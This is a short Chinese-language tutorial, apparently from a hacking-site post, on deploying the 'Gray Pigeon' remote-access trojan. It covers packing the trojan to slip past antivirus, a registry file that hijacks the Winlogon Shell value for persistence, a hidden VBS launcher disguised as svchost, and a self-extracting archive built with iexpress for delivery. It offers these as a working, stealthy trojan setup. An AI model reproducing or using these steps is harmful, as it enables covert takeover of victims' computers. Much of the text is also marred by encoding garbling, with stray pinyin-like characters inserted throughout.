今天寫一個(gè)木馬小教程：

鴿子木馬篇

鴿子是一個(gè)很好的遠(yuǎn)程控制軟件， 效果如何就不多說了

生成鴿子服務(wù)端時(shí)， win98/2000/xp下寫入注冊(cè)表啟動(dòng)項(xiàng)

和win2000/xp下優(yōu)化安裝成服務(wù)啟動(dòng)項(xiàng)別勾上。

有利于做免殺， 簡單得加個(gè)殼就可以卡巴等主流的殺毒軟件， 殼到網(wǎng)上找找

只要去嘗試就可以成功。 到本站上找也行:www.arpun.com

另外得給鴿子加個(gè)開機(jī)運(yùn)行。

我們修改注冊(cè)表

新建一個(gè)文本：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"Shell"="Explorer.exe %windir%\\svchost.exe"

后綴改成run.reg

再建一個(gè)文件

on error resume next

dim ws

set ws=wscript.createobject("wscript.shell")

ws.run "regedit -s run.reg",0

ws.run "svchost.exe",0

后綴改成svchost.VBS， 是一個(gè)簡單的VBS腳本。

一個(gè)注冊(cè)表文件和一個(gè)VBS腳本， 自已體會(huì)一下， 不懂的上網(wǎng)看看資料。

再加鴿子的服務(wù)端一共三個(gè)文件。

創(chuàng)建一個(gè)自解壓壓縮包。 （建議別用捆綁器。 還可以用系統(tǒng)自帶的：iexpress）解壓后運(yùn)行svchost.vbs

每次系統(tǒng)啟動(dòng)后都會(huì)開機(jī)運(yùn)行。

一個(gè)簡單實(shí)用的木馬就好了。

隱藏性較高。 還有些更高級(jí)的方法， 下次再寫個(gè)教程。

關(guān)注ARP聯(lián)盟:www.arpun.com

作者：小白。